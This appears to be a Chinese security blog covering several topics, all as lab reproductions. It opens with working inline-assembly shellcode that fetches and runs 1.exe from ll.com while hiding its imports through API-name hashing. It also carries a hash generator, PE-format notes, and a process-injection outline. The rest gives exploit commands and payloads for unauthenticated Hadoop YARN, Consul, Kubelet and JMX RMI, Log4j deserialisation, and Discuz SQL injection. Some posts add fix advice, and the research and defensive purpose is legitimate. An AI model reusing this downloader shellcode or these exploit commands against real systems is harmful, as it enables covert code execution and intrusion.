        "mov    dword ptr[ecx+0x8], 0 \n\t"
        /*
            download file
        */
    "try_Download: \n\t"
        "push   0 \n\t"
        "push   0 \n\t"
        "push   dword ptr[ebp+0x20] \n\t"
        "lea    eax, dword ptr[ebp+0x24] \n\t"
        "push   eax \n\t"
        "push   0 \n\t"
        "call   dword ptr[ebp+0x1c] \n\t"   //urlmon.URLDowanloadToFileA
        "test   eax, eax \n\t"
        "jz     Download_OK \n\t"
        "push   30000 \n\t"
        "call   dword ptr[ebp+0x14] \n\t"   //Kernel32.Sleep
        "jmp    try_Download \n\t"
        
    "Download_OK: \n\t"
        "push   0 \n\t"
        "push   dword ptr[ebp+0x20] \n\t"
        "call   dword ptr[ebp+0x10] \n\t"    //Kernel32.WinExec

        "push    0x08000 \n\t"
        "push    0x00 \n\t"
        "push    dword ptr [ebp+0x20] \n\t"
        "call    dword ptr [ebp+0x08] \n\t" //kernel32.VirtualFree

        //"mov    %0, eax \n\t"   // test code

        "push   0 \n\t"
        "push   0x0FFFFFFFF \n\t"
        "call   dword ptr[ebp+0x18] \n\t"

        /*
        : "=r" (WinExecAddress)
        : "r" (WinExecAddress)
        :   
        */ 
    );
    // if 1.exe was success download and excute, this will not run:
    /*
    std::cout << "The WinExec Address is:";
    printf("%lx",WinExecAddress);
    std::cout << std::endl;
    */
}

程序的功能是从http://ll.com/1.exe下载并执行。ll.com可以在etc\hosts里做映射。

只是核心代码的思路和加密解密一样,区别是我把数据直接在汇编代码里push了。
先获取7个Kernel32的函数地址,再获取Urlmon的函数地址,放到栈里,最后通过ebp调用所需要的函数。

编译(MinGW):

g++.exe .\shellcode.cpp -o shellcode -masm=intel  -static-libgcc -static-libstdc++

关于这里的Hash算法可以参考这篇:

用PEstudio查看终极版编译出的程序,可以看到Import table里没有记录相关的函数。

从而更加隐蔽。

这里插一句,前一阵子听到某个同事说了一句话“MD5加密算法”,这里要说明一下MD5,MD4,SHA256都属于Hash算法,Hash算法是用来做快速查询的,由于算法的特性,几乎不可逆,所以不能说是加密算法。
吐槽一下,加密解密真的是不舍得在代码里写备注,看的累死人了。真不适合新手看。

bookmark_border理解PE格式—找出导出表(Export Table)中的函数地址(理论篇)

PE的结构,参考文档https://docs.microsoft.com/en-us/windows/win32/debug/pe-format的目录:

根据这个结构来找kernel32.dll中的函数名和函数名的RVA。

PE signature

文件 0x3c 的地方指定了PE signature的位置(也就是NT_Header,加密解密里说NT_Header,微软的文档里没有这么一说) E8

E8的前四个字节是 PE00,在这之后是 COFF file header

COFF file header

紧接着PE signature的2个Byte(Machine) 判断PE文件时运行在什么平台:

COFF file header + 2 处的2个byte指定了这个PE文件有多少个Section : 06
用010Editor查看也是6个Section

COFF file header + 16 处的两byte指定了OptionalHeader的大小 : F0

COFF file header + 20 处是 OptionalHeader 的开始位置:100h. 大小F0.

也就是100h – 1F0h之间全是 OptionalHeader

OptionalHeader

OptionalHeader 的前两个字节判断了这是个PE文件还是个PE+文件

本次是20b ,是在64位平台的pe+格式。
OptionalHeader 分三部分:

Standard fields , Windows-specific fields 和 Data directories。

Standard fields

100h – 118h 是 Standard fields部分

在PE32中还有额外的字段BaseOfData。

Windows-specific fields

118h – 12Eh 是 Windows-Specific Fields部分

SizeOfHeaders 在100h + 60 = 13Ch的位置 :400h
400 h就是File Header 和 Section Table(Section Header)的总大小
即 400h开始部分就是Section Data部分

Data directories

因此PE signature的位置开始+4(PE signature的长度)+20(Standard fields的长度)+96(Export Table的偏移)= +120 = +78h 的地方就是Export Table相对PE signature的偏移。
Export Table 里指向了Export Table的地址和大小,100h+112=100+70h=170h

Address: 90170h
Size:DD40h=56640
由于这个地址是RVA 相对虚址。在文件上查看还要算出 内存偏移 和 文件偏移的差值△k

Section Table(Section Header)

从100h + 232 + 8 = 1F0 开始是Section Table(Section Header) 的起始位置。
按照之前的计算,一共有6个Section,所以有6个Section Header,每个的格式如下:

每个Secion Header 的大小是40 = 28h。 Secion Header的总大小是: 6*40=240=F0h

第一个Section(.text), 微软用这个名字的Section来存代码。

VirtualAddress:1000h
Pe被加载到内存,这部分Section在相对 image base偏移1000h的位置
VirtualSize:7529Ch
在内存中的地址范围是1000h — 7629Ch
PointerToRawData:400h
PE在磁盘上当文件存放时,这部分Section在相对 image base偏移400h的位置。
内存偏移 和 文件偏移的差值△k1= 1000h – 400h = C00h

第二个Section(.rdata)

VirtualAddress:77000h
VirtualSize:31BC6
在内存中的地址范围是77000h — A8BC6h
这里第二个Section从77000h开始是因为内存对齐了。
PointerToRawData:75800h
△k2=77000h-75800=1800h

因此,之前找到的Export Table的RVA(90170h)就在.rdata的Section Data中。
算出了以上数据,即可以通过以上数据找到Export Table在文件上的偏移位置:
90170h-△k2=90170h-1800h=8E970h
8E970h 开始就是The export data section

Section Data

The export data section 分为5个表:

我只关心第一个表:Export Directory Table。
Export Directory Table表结构:

文件上的数据:

Ordinal Base 指定了序号从多少开始:01h
Address Table Entries 指定了有多少个Function: 65D

Export Address Table RVA : 90198h-1800h=8E998h

Name Pointer RVA 指定了Function Name的地址:91B0Ch-1800h=9030Ch
Ordinal Table RVA 指定了函数的顺序表的地址:93480h-1800h=91C80‬h

查看Ordinal Table :

这是一个数组,一个元素2字节。
表中序号从0开始,加上Ordinal Base的值(1),所以00 00 代表了序数是1。

查看Name Pointer RVA

这是一个数组,一个元素4个字节。
根据地址查看第一个函数名称:
94147h-1800h=92947h

00 代表结束。可见 函数是从A开始排列的

查看Export Address Table RVA

这个地址有可能是个内存地址,有可能是个其他dll的函数名称。

Name Pointer 和Ordinal Table 这两个是平行的数组。
比如两个数组的第五个元素是对应的,通过Name Pointer的第五个元素指向的地址可以知道这个函数的函数名,通过Ordinal Table 的第五个元素指向的数字(假如是20),再去Export Address Table 查第(20 – Ordinal Base)个元素的地址,就可以查到指定函数的名称和地址。
实际在内存中的地址还要加上基址。

绝知此事要躬行,实践篇:

bookmark_borderHash Function Name In Shellcode

学习《加密解密》的时候,第十四章,找到进程块的export table导出表,通过hash过的function name ,和导出表中的function name做hash运算,然后对比两个hash值,最后找到对应的funtion address。
由于加密解密没给如何hash function name,这里通过网上整理相关代码,复现了其生成过程:

#include <stdio.h>  
#include <windows.h>  
// hash function name
DWORD GetHash(char *fun_name)  
{  
    DWORD digest = 0;  
    while(*fun_name)  
    {  

        __asm__(
            ".intel_syntax \n\t"
            "mov ebx,%0 \n\t"
            "ror ebx, 7 \n\t"
            "mov %0,ebx \n\t"
            : "=r" (digest) 
            : "r" (digest)
            : 
        );
        // printf("ror     ebp, 7 is 0x%p\n", digest);
        digest += *fun_name;  
        // printf("digest += *fun_name is 0x%p\n", digest);
        fun_name++;  
    }  
    return digest;  
}  

// print hashed function name 
void print_char_data(DWORD hash){
    char char_hash[8];
    sprintf(char_hash, "%.8x", hash); // convert DWORD to CHAR
    printf("\"\\x%c%c\\x%c%c\\x%c%c\\x%c%c\"\n",char_hash[6],char_hash[7],char_hash[4],char_hash[5],char_hash[2],char_hash[3],char_hash[0],char_hash[1]);
    
}

int main(int argc, char *argv[], char *envp[])  
{  

    // for(int i=0;i<argc;i++)
    // {   
    //     DWORD hash;          
    //     hash = GetHash(argv[i+1]);  
    //     printf("The hash of Function is 0x%.8x\n", hash);          
    // }

    printf("char Datas[] =\n");
    for(int i=0;i<argc;i++)
    {   
        DWORD hash;          
        hash = GetHash(argv[i+1]);  
        // printf("The hash of Function is 0x%.8x\n", hash);          
        print_char_data(hash);
    }


     getchar();  
    return 0;  
}  

编译(MinGW):

PS C:\Users\IEUser\Desktop\shellcode > g++.exe .\hash.cpp -o hash -masm=intel

使用:

PS C:\Users\IEUser\Desktop\shellcode > .\hash.exe LoadLibraryA VirtualAlloc VirtualFree GetTempPathA WinExec Sleep TerminateProcess URLDownloadToFileA
char Datas[] =
"\x32\x74\x91\x0c"
"\x67\x59\xde\x1e"
"\x05\xaa\x44\x61"
"\x39\xe2\x7d\x83"
"\x51\x2f\xa2\x01"
"\xa0\x65\x97\xcb"
"\x8f\xf2\x18\x61"
"\x80\xd6\xaf\x9a"
COMMANDO 12/30/2019 11:12:41 PM
PS C:\Users\IEUser\Desktop\shellcode >

可以看到和 加密解密 的 hash data 完全一致。

bookmark_borderHadoop Yarn 未鉴权执行命令

安装

我用的是 hadoop-3.1.3 下载,解压。配置JDK环境变量 和 其他环境变量。

export JAVA_HOME=/home/hans/JDK/jdk1.8.0_192
export PATH=$JAVA_HOME/bin:$JAVA_HOME/jre/bin:$PATH
export HDFS_NAMENODE_USER="root"
export HDFS_DATANODE_USER="root"
export HDFS_SECONDARYNAMENODE_USER="root"
export YARN_RESOURCEMANAGER_USER="root"
export YARN_NODEMANAGER_USER="root"
export PDSH_RCMD_TYPE=ssh

配置

修改四个文件:
hadoop-3.1.3/etc/hadoop/core-site.xml

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="configuration.xsl"?>
<configuration>
    <property>
        <name>fs.defaultFS</name>
        <value>hdfs://localhost:9000</value>
    </property>
</configuration>

hadoop-3.1.3/etc/hadoop//hdfs-site.xml

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="configuration.xsl"?>
<configuration>
    <property>
        <name>dfs.replication</name>
        <value>1</value>
    </property>
</configuration>

hadoop-3.1.3/etc/hadoop/mapred-site.xml

<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="configuration.xsl"?>
<configuration> 
    <property>
        <name>mapreduce.framework.name</name>
        <value>yarn</value>
    </property>
    <property>
        <name>mapreduce.application.classpath</name>
        <value>$HADOOP_MAPRED_HOME/share/hadoop/mapreduce/*:$HADOOP_MAPRED_HOME/share/hadoop/mapreduce/lib/*</value>
    </property>
</configuration>

hadoop-3.1.3/etc/hadoop/yarn-site.xml

<?xml version="1.0"?>
<configuration>
    <property>
        <name>yarn.nodemanager.aux-services</name>
        <value>mapreduce_shuffle</value>
    </property>
    <property>
        <name>yarn.nodemanager.env-whitelist</name>
        <value>JAVA_HOME,HADOOP_COMMON_HOME,HADOOP_HDFS_HOME,HADOOP_CONF_DIR,CLASSPATH_PREPEND_DISTCACHE,HADOOP_YARN_HOME,HADOOP_MAPRED_HOME</value>
    </property>
</configuration>

启动

bin/hdfs namenode -format
sbin/start-yarn.sh

利用:

创建新的application

curl -v -X POST 'http://192.168.23.134:8088/ws/v1/cluster/apps/new-application'

创建并修改json文件。
1.json:

{  
    "am-container-spec":{  
        "commands":{  
            "command":"echo '111' > /tmp/11112222_test_11112222"

        }  
    },  
    "application-id":"application_1576573490143_0003",  
    "application-name":"test",  
    "application-type":"YARN"  
} 

application-id 修改为 创建新的application 返回的ID。

发送利用命令:

curl -s -i -X POST -H 'Accept: application/json' -H 'Content-Type: application/json' 'http://192.168.23.134:8088/ws/v1/cluster/apps' --data-binary @1.json

http://hadoop.apache.org/docs/current/hadoop-yarn/hadoop-yarn-site/ResourceManagerRest.html#Cluster_Applications_API

https://hadoop.apache.org/docs/r3.1.1/hadoop-project-dist/hadoop-common/HttpAuthentication.html

https://hadoop.apache.org/docs/r3.1.1/hadoop-project-dist/hadoop-common/SingleCluster.html

https://paper.seebug.org/611/

修复方案

  1. 更新Hadoop到最新版本并启用Kerberos认证功能,禁止匿名访问;
  2. 配置iptables或安全组策略实施访问控制,禁止不可信IP进行访问;若无必要,端口不要监听在公网,改为监听本地地址或者内网地址。

bookmark_borderConsul服务未鉴权导致远程代码执行

下载:
https://www.consul.io/downloads.html
官方文档:
https://learn.hashicorp.com/consul/getting-started/services
利用:
https://www.rapid7.com/db/modules/exploit/multi/misc/consul_service_exec
https://www.exploit-db.com/exploits/46074
https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/exploit/multi/misc/consul_service_exec.md

常用操作

下载后解压,启动agent:

$ ./consul agent -dev

查看成员:

$ consul members

查看节点:

$ curl localhost:8500/v1/catalog/nodes

停止这个节点:

 $  consul leave

默认的话是无法从外部直接访问的,需要额外配置。

利用

启动一个可以被利用的服务:

./consul agent -dev -client 0.0.0.0 -enable-script-checks

利用(metasploit):

use exploit/multi/misc/consul_service_exec
set RHOSTS 192.168.23.130
run

抓包可知,在未鉴权的情况下,通过向/v1/agent/service/register接口发送精心构造的put请求可执行任意代码。

因此,启动参数中若带 -enable-script-checks ,未鉴权的Consul服务可造成远程代码执行。可以用 -enable-local-script-checks 替换。

bookmark_borderApache Log4j 1.2.X 存在远程代码执行CVE-2019-17571

org.apache.log4j.net.SocketNode类在实现Runnable接口的run方法时,未对输入做过滤,直接读取流中的对象,特定条件下可被利用,存在远程代码执行的风险。

可以看到,直接就ReadObject了,啥过滤也没做,也没校验。
如果结合其他序列化漏洞,比如Jdk7u21,就可以远程代码执行。
用java version “1.7.0_05” 启动Log4j中的example服务:

$ java -cp log4j-1.2.17.jar org.apache.log4j.net.SocketServer  1234 examples/lf5/InitUsingLog4JProperties/log4j.properties ../

结合ysoserial可以利用:

$ java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Jdk7u21 “gnome-calculator” | nc localhost 1234

bookmark_borderKubelet未授权命令执行

本文在Debian10上操作,且Debian10已安装最新Docker.

1.Install kubectl

# https://kubernetes.io/docs/tasks/tools/install-kubectl/#install-kubectl-on-linux 
sudo apt-get update && sudo apt-get install -y apt-transport-https
curl -s https://packages.cloud.google.com/apt/doc/apt-key.gpg | sudo apt-key add -
echo "deb https://apt.kubernetes.io/ kubernetes-xenial main" | sudo tee -a /etc/apt/sources.list.d/kubernetes.list
sudo apt-get update
sudo apt-get install -y kubectl

2. Install minikube

curl -LO https://storage.googleapis.com/minikube/releases/latest/minikube_1.6.1.deb \
 && sudo dpkg -i minikube_1.6.1.deb

3. Install Driver (Optinal)

https://kubernetes.io/docs/setup/learning-environment/minikube/#specifying-the-vm-driver

确认安装:

root@debian10:~# minikube start --vm-driver=none
* minikube v1.6.1 on Debian 10.2
* Selecting 'none' driver from user configuration (alternates: [])
* Tip: Use 'minikube start -p <name>' to create a new cluster, or 'minikube delete' to delete this one.
* Starting existing none VM for "minikube" ...
* Waiting for the host to be provisioned ...
! VM may be unable to resolve external DNS records
* Preparing Kubernetes v1.17.0 on Docker '19.03.0' ...
* Downloading kubeadm v1.17.0
* Downloading kubelet v1.17.0
* Launching Kubernetes ...

* Configuring local host environment ...
*
! The 'none' driver provides limited isolation and may reduce system security and reliability.
! For more information, see:
  - https://minikube.sigs.k8s.io/docs/reference/drivers/none/
*
! kubectl and minikube configuration will be stored in /root
! To use kubectl or minikube commands as your own user, you may need to relocate them. For example, to overwrite your own settings, run:
*
  - sudo mv /root/.kube /root/.minikube $HOME
  - sudo chown -R $USER $HOME/.kube $HOME/.minikube
*
* This can also be done automatically by setting the env var CHANGE_MINIKUBE_NONE_USER=true
* Done! kubectl is now configured to use "minikube"
root@debian10:~#
root@debian10:~# minikube status
host: Running
kubelet: Running
apiserver: Running
kubeconfig: Configured
root@debian10:~# minikube stop
* Stopping "minikube" in none ...
* Stopping "minikube" in none ...
* "minikube" stopped.
root@debian10:~#

配置可访问api,编辑/var/lib/kubelet/config.yaml 文件,把anonymous auth改成true,authorization mode改成AlwaysAllow

重启:

sudo systemctl daemon-reload
sudo systemctl restart kubelet.service

确认可以访问:

curl -k https://localhost:10250/runningpods/

启动(VMware中虚拟机上的Debian10):

# minikube start --vm-driver=none
kubectl create deployment kubernetes-bootcamp --image=gcr.io/google-samples/kubernetes-bootcamp:v1
kubectl get deployments
echo -e "\n\n\n\e[92mStarting Proxy. After starting it will not output a response. Please click the first Terminal Tab\n";
kubectl proxy

打开新终端,确认部署成功:

export POD_NAME=$(kubectl get pods -o go-template --template '{{range .items}}{{.metadata.name}}{{"\n"}}{{end}}')
echo Name of the Pod: $POD_NAME
curl http://localhost:8001/api/v1/namespaces/default/pods/$POD_NAME/proxy/

另一些查看的命令:

kubectl get pod
kubectl describe pods
kubectl get services
kubectl get pods --all-namespaces
kubectl get deployments
minikube service $POD_NAME --url
kubectl delete services $POD_NAME
kubectl delete deployment $POD_NAME
minikube stop
minikube delete

执行命令的格式是:

# /run/%namespace%/%pod_name%/%container_name%

所以执行命令要获得 namespace, pod_name, container_name这三个数据:

curl -k https://192.168.23.134:10250/runningpods/
curl -k https://192.168.23.134:10250/pods/

获取后在容器里执行命令:

curl -k -XPOST "https://192.168.23.134:10250/run/default/kubernetes-bootcamp-69fbc6f4cf-82lk2/kubernetes-bootcamp" -d "cmd=ls -ahl"

至于如何逃逸容器,那就要讨论Docker了。暂不讨论。

参考:

https://carnal0wnage.attackresearch.com/2019/01/kubernetes-unauth-kublet-api-10250.html

https://kubernetes.io/docs/tasks/tools/install-kubectl/#install-kubectl-on-linux

https://kubernetes.io/docs/setup/learning-environment/minikube/#specifying-the-vm-driver

https://gist.github.com/lizrice/c32740fac51db2a5518f06c3dae4944f

bookmark_borderCreate Process Context Injection

思路:

1.CreateProcess 创建进程 ,进程信息放在 PROCESS_INFORMATION pi 中。

2. GetSystemInfo 获取内存中的所有数据,放在 SYSTEM_INFO sysinfo; 中。

3.从 sysinfo.lpMinimumApplicationAddress 开始, 每一次的大小为 sysinfo.dwPageSize 到 sysinfo.lpMaximumApplicationAddress结束,遍历内存。

4.每次都 VirtualQueryEx 一次, 把当前页的内存信息放到 MEMORY_BASIC_INFORMATION mbi = {0}中。

5.当 VirtualQueryEx 出来的类型是 MEM_IMAGE 时,内存中的地址又是指定文件名的映射,就保存并返回这个地址。

6.用 CImage 的 AttachToProcess方法读取刚刚地址的内存头,保存在 PBYTE ImageBase中。

7.用 VirtualQueryEx 出来的内存地址 加 CImage结构体中的m_dwEntryPoint长度,就是程序内存中的入口点。

8.找到打开程序的程序入口点的地址,就可以准备要注入的code了。

typedef struct _INJECT_DATA64 
{
 BYTE ShellCode[0xC0];
 /*Off=0x0C0*/HANDLE ModuleHandle; //Dll句柄
 /*Off=0x0C8*/PUNICODE_STRING pDllPath;//PUNICODE_STRING DllPath
 /*Off=0x0D0*/ULONG DllCharacteristics;
 /*Off=0x0D8*/ULONG_PTR AddrOfLdrLoadDll;//LdrLoadDll地址
 /*Off=0x0E0*/ULONG_PTR ProtectBase; //用于VirtualMemory
 /*Off=0x0E8*/ULONG OldProtect; //用于VirtualMemory
 /*Off=0x0F0*/SIZE_T ProtectSize;s
 /*Off=0x0F8*/ULONG_PTR ExeEntry;//Exe入口点的地址
 /*Off=0x100*/ULONG_PTR AddrOfZwProtectVirtualMemory;
 /*Off=0x108*/BYTE SavedEntryCode[16];//保存exe入口点的前16字节
 /*Off=0x118*/UNICODE_STRING usDllPath;//Dll路径
 /*Off=0x128*/WCHAR wDllPath[256];//Dll路径,也就是usDllPath中的Buffer
}INJECT_DATA64;

9.用 VirtualAllocEx 分配出一块 0x1000 大小的内存,分给 之前打开的进程。

10.ReadProcessMemory 读取目标进程的前8个字节,并存到变量里。

11.用 VirtualProtectEx 修改目标进程的内存属性。

12.找到目标进程中32位 ntdll 的地址。

13.通过计算自己内存里ntdll中ZwProtectVirtualMemory和LdrLoadDll的偏移,来推测目标进程的相关函数的偏移。

14.获取 shellcode的内容,开始到偏移的内容。把内容放到 INJECT_DATA64 结构体的 ShellCode中。

15.填充 INJECT_DATA64 结构体的 其他内容。

16.用 WriteProcessMemory 把 INJECT_DATA64 结构体写道目标进程中,位置是之前用 VirtualAllocEx 分配的内存 。

17.编写Jmp xxxx指令,用 WriteProcessMemory 让程序在开头跳转到 shellcode 执行。

18.ResumeThread 让暂停的线程继续执行。

代码参考 加密解密 随书光盘中的 : chap12\10.CreateProcContextInject\CreateProcContextInject.cpp

bookmark_borderDiscuz! X3.4 后台SQL注入

Discuz!被爆出后台存在SQL注入漏洞,影响 Discuz! X系列全版本。


source\admincp\admincp_setting.php 在处理请求参数时,未完全转义过滤请求参数,导致存在二次注入。
upload\uc_client\model\base.php
初始化方法调用,跟进init_note方法。

跟进 note_exists 方法:

这里的 .UC_DBTABLEPRE. 和 .UC_APPID. 都是从配置文件读取的。
查找UC_APPID

upload\source\admincp\admincp_setting.php
传入参数数组。

被注入过的./config/config_ucenter.php 文件

可以看到只是把单引号用反斜杠转义保存了。
转义一次的字符串被写人文件中,在PHP解析时就是没有转义过的原始内容 造成了二次注入的产生。

测试demo:

<?php
define('UC_APPID', 'sadsadsadasd\'');
printf(UC_APPID);

也就是 UC_APPID 的值被从文件取出来后,php默认会把他的反斜杠去掉了。
也就是UC_APPID的值被还原成 1′ and extractvalue(1,concat(0x7c,(select @@version))) — 1′

攻击者在登录Discuz!管理员后台后,可用此漏洞来进行SQL注入,获取数据库里的敏感信息。

【参考链接】
https://mp.weixin.qq.com/s/0PaVA9tzOxBFQVZ0EBVc9A

bookmark_borderJMX RMI 利用 exploit RCE

前提:JMX RMI 不需认证

以apache solr 8.2.0 For linux为例。

方法1:

启动默认打开RMI端口:

启动msf:

use exploit/multi/misc/java_jmx_server 
set RHOSTS 192.168.23.128
set RPORT 18983
run

理论上对JMX RMI暴露出来的未认证端口通吃。

方法2:

思路:

攻击主要分四步

源代码:

https://gitlab.com/han0x7300/jmx_rmi_exploit

Usage:

java -jar JMXRMIRCE.jar [attacker's ip] [attacker's port that can listern] [JMX RMI service ip] [JMX RMI service port] [command]

Example:

java -jar JMXRMIRCE.jar 192.168.23.154 4141 192.168.23.128 18983 “cat /etc/os-release”

也可以直接用我打包好的jar包。jre 1.8可用。

参考:
 * https://mogwailabs.de/blog/2019/04/attacking-rmi-based-jmx-services/
 * https://www.bbsmax.com/A/Gkz1pPOQdR/

bookmark_border理解PE格式——手工分析pe文件找出Pe中dll和函数的位置

VIrtual Size是加载到内存的大小
Raw Size是文件中偏移的大小

以XP上的notepad.exe为例(加密解密第十一章)

https://73007300.xyz/notepad.exe

本文使用010Editor做辅助分析。

找PE文件里的dll函数和地址:
文件从0h 开始+3ch的值,指向了NtHeader


notepad.exe

NtHeader的+04h处可以判断PE文件时运行在32位平台还是64位平台,长度2h:

其中数值对应的解释:

pe文件里 数值都是从后往前读的,4C 01代表的值就是:014C

NtHeader的+18h的位置是OptionalHeader的位置

32位的PE文件中:
OptionalHeader的IMAGE_DATA_DIRECTORY在NtHeader的+78h偏移处。
数据结构:

notepad.exe:

64位的PE文件中
OptionalHeader的IMAGE_DATA_DIRECTORY在NtHeader的+88h偏移处:
数据结构:

在 IMAGE_DATA_DIRECTORY 中,每一项的都是如下数据结构的展示出来:

在PEview里看到的就是这种结构:

然后找到Import Table的位置:

RVA:7604h
Size:C8
一直到NtHeader结束,文件偏移的大小(Raw Offset)和映射到内存中的大小(Virtual Offset)都已一样长的,也就是偏移量一一对应。
从这里开始,接下来的区块表部分使得Raw Offset和Virtual Offset不相等了。

有两个值特别值得关注:
NtHeader+38h的值指定了内存中的对齐大小。不足按这个大小补足。
NtHeader+3Ch的值指定了文件中的对齐大小。
我们安装系统分区时常说的4K对齐,就是这两个值对齐。

NtHeader+54h的值指定了所有头的总大小:

也就是Section data部分从400h的位置开始。

NtHeader后面紧跟Section Header,根据 数据目录表 推算,notepad.exe的Section Header是从NtHeader +F8h处开始,也就是 E0 + F8h = 1D8。
Section Header是由多个Section Header组成的。1D8h处即使第一个section header的位置。每个section header的大小是28h
从1D8开始的前8个字节对应的是这部分section的Name的ascii码。
notepad.exe中是.text
微软一般用这个名字的section来存代码。之后再偏移1个DWORD对应的是VirtualSize,在notepad.exe中位于1D8h + 8h + 4h的位置,其大小是1000h

再偏移1个DWORD是Size Of Raw Data,其指定了这部分section的大小,大小是7800h:

再偏移1个DWORD就是PointerToRawData,值是400h,他代表的是在文件偏移中的位置,也就是图中左侧那一列的地址:

.text的section header:

VirtualSize1000h
PointerToRawData400h
Size Of Raw Data7800h

Import Table:

RVA7604h
SizeC8

由于.text的大小时1000h开始,偏移7800h的大小,7604h在这部分大小中,所以import table就在.text里。
参考《加密解密》第十一章的介绍,此时 内存偏移 – 文件偏移 的差值△k的值就是△k= 1000h – 400h = C00h

此时RVA – △k= 7604h – C00h = 6A04 ,6A04指向的是一个输入表结构,一个链状的结构,也就是这个输入表结构在文件上的位置。

输入表结构:

notepad.exe的6A04位置:

梳理一个红圈里的这个IID(Image_Import_Descriptor)结构

OriginalFirstThunkTimeDateStampForwarderChainNameFirstThunk
7990FFFFFFFFFFFFFFFF7AAC12C4

然后看看第四部分指向的Name是不是一个dll名称。
第四部分的值是7AAC。这是个内存中的位置。File Offset = Virtual Offset – △k = 7AACh – C00h = 6EACh。
查看notepad.exe中的6EACh中的内容:

结果和CFF的一致:

最后一个IID结构用0填充:

OriginalFirstThunk 指向的是INT(Import Name Table),也就是dll中的函数名称表
FirstThunk指向的是IAT(Import Address Table) ,也就是dll中函数的地址表

下面来看看OriginalFirstThunk 指向的函数名称对不对。
OriginalFirstThunk指向的是一个Image_Thunk_Data结构类型的元素。
Image_Thunk_Data = OriginalFirstThunk – △k = 7990 – C00 = 6D90

红框中每个框对应一个函数名的RVA。
7A7A – C00 = 6E7A (7)
7A5E – C00 = 6E5E (5)‬
7A9E – C00 = 6E9E (9)‬
7A50 – C00 = 6E50‬ (4)
7A40 – C00 = 6E40 (3)
7A8A – C00 = 6E8A (8)
7A6A – C00 = 6E6A‬ (6)
7A14 – C00 = 6E14 (1)
7A2C – C00 = 6E2C (2)

这些虚地址指向的是一个 IMAGE_IMPORT_BY_NAME结构的数据

以00结束。

再来看FirstThunk指向的位置。
12C4 – △k = 12C4 – C00 = 6C4‬

这里记录了9个虚地址。00结束。
和Peview显示的一致:

如果想引用的dll不被列在pe头的Import Table中,那就要动态加载dll,常用的函数是“LoadLibrary”和“GetProcAddress”